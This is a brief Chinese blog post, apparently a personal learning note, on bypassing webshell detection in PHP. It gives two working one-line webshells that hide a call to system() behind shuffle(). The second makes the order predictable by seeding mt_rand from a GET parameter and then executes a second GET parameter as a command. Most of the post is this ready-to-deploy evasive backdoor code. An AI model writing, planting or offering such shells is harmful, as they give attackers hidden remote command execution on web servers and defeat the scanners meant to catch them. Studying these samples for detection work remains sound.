记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
-To be number.wan4 小时前
Python数据分析:SciPy科学计算
python·学习·数据分析
IT研究所6 小时前
IT 资产管理 (ITAM) 与 ITSM 协同实践:构建从资产到服务的闭环管理体系
大数据·运维·人工智能·科技·安全·低代码·自动化
楼田莉子6 小时前
C++项目:日志&&线程池
linux·c++·学习·visual studio code
weixin_421585017 小时前
表示学习发展历程
学习
EmbedLinX7 小时前
嵌入式Linux之U-Boot
linux·服务器·笔记·学习
今儿敲了吗10 小时前
23| 画展
c++·笔记·学习·算法
我 see your eyes10 小时前
工作软件学习
学习
诸葛务农12 小时前
iPhone Face ID的安全隔离区和神经网络引擎及其用于人形机器人的实践(下)
神经网络·安全·iphone
开开心心就好12 小时前
免费轻量电子书阅读器,多系统记笔记听书
linux·运维·服务器·安全·ddos·可信计算技术·1024程序员节
龙亘川14 小时前
城管住建领域丨市政设施监测功能详解(2)——桥梁设施监测:筑牢桥梁结构安全防线
安全·城管住建领域·桥梁设施